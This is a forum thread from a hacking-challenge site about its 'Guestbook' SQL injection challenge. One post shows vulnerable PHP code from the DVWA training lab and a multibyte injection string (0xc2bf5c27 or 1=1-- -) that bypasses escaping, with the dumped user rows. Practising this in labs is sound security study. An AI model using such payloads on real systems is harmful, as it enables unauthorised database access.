RegistrierenSidebar verstecken
Nickname: 
Passwort: 
Sitzung auf IP beschränken 

The Guesbook  Gehe zur The Guestbook Challenge

1 2
Globaler Rang: 5
Gesamtpunkte: 549994
Nachrichten: 199
Dank: 207
+Votes: 207
Registriert : 14y 196d






Zuletzt gesehen am: 2d 4h
Der Benutzer ist Offline
RE: The Guesbook
Google/Übersetzer3Danke Schön!3Gute Nachricht!1Schlechte Nachricht! Link
Another game of "spot the error"... Nice distraction with the indentation. ;)
You're not sending the full request to the server.
Try reformatting your code.
line 14
echo $out1
You're a busy clicker Drool


You might also run into problems with checking eof in combination with HTTP/1.1, because the connection isn't closed immediately.
Zuletzt geändert von tehron - 6. Mär 2012 13:23:15
Globaler Rang: 253
Gesamtpunkte: 87266
Nachrichten: 1639
Dank: 1339
+Votes: 887
Registriert : 16y 76d




Zuletzt gesehen am: 1d 2h
Der Benutzer ist Offline
RE: The Guesbook
Google/Übersetzer1Danke Schön!1Gute Nachricht!0Schlechte Nachricht! Link
Nice post, tehron.

I can see the error you have spotted now as well, and i actually looked for these myself, but it had to be in the last concat of course, when eyes are lazy.

Cheers!
The geeks shall inherit the properties and methods of object earth.
Globaler Rang: 15315
Gesamtpunkte: 79
Nachrichten: 3
Dank: 1
+Votes: 0
Registriert : 10y 355d
Zuletzt gesehen am: 10y 194d
Der Benutzer ist Offline
RE: The Guesbook
Google/Übersetzer0Danke Schön!0Gute Nachricht!0Schlechte Nachricht! Link
Hi Gizmore, I am able to bypass the mysql_escape_string() in my simulation lab (based on DVWA), encoding the '\' but can't bypass your guesbook with the same injection...Can you give us some hint?
Thanks in advance.
Globaler Rang: 253
Gesamtpunkte: 87266
Nachrichten: 1639
Dank: 1339
+Votes: 887
Registriert : 16y 76d




Zuletzt gesehen am: 1d 2h
Der Benutzer ist Offline
RE: The Guesbook
Google/Übersetzer0Danke Schön!0Gute Nachricht!0Schlechte Nachricht! Link
Maybe give us a hint how to bypass mysql_real_escape_string nowadays Euh

I call "impossibru"!

Smile
The geeks shall inherit the properties and methods of object earth.
Globaler Rang: 15315
Gesamtpunkte: 79
Nachrichten: 3
Dank: 1
+Votes: 0
Registriert : 10y 355d
Zuletzt gesehen am: 10y 194d
Der Benutzer ist Offline
RE: The Guesbook
Google/Übersetzer0Danke Schön!0Gute Nachricht!0Schlechte Nachricht! Link
As I said, in DVWA (mysql 5.5):
Code behind:
$id = trim($_GET['id']);
$id = mysql_real_escape_string($id);
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id";
$result = mysql_query($getid); // Removed 'or die' to suppres mysql errors


Injection chain ID: 0xc2bf5c27 or 1=1-- - (i.e. ¿\' or 1=1-- -, though also works without the ' (0x27)

Results:
ID: char(0xc2bf5c27) or 1=1-- -
First name: admin
Surname: admin

ID: char(0xc2bf5c27) or 1=1-- -
First name: Gordon
Surname: Brown

ID: char(0xc2bf5c27) or 1=1-- -
First name: Hack
Surname: Me

ID: char(0xc2bf5c27) or 1=1-- -
First name: Pablo
Surname: Picasso

ID: char(0xc2bf5c27) or 1=1-- -
First name: Bob
Surname: Smith

I am a bit confused about this challenge (I also have been considering a cookie injection but..)
Thanks Smile
Globaler Rang: 253
Gesamtpunkte: 87266
Nachrichten: 1639
Dank: 1339
+Votes: 887
Registriert : 16y 76d




Zuletzt gesehen am: 1d 2h
Der Benutzer ist Offline
RE: The Guesbook
Google/Übersetzer0Danke Schön!0Gute Nachricht!0Schlechte Nachricht! Link
Maybe you should take a look at the challenge's code Smile
The geeks shall inherit the properties and methods of object earth.
1 2
jacobs, Redknee, tunelko, silenttrack, n0tHappy, quangntenemy, TheHiveMind, Z, balicocat, Ge0, samuraiblanco, arraez, jcquinterov, hophuocthinh, alfamen2, burhanudinn123, Ben_Dover, stephanduran89, braddie0, JanLitwin17, SwolloW, dangarbri haben dieses Thema abonniert und erhalten EMails bei einer neuen Nachricht.
1 Personen sehen sich diese Thema gerade an.
Dieses Thema wurde 185311 mal angesehen.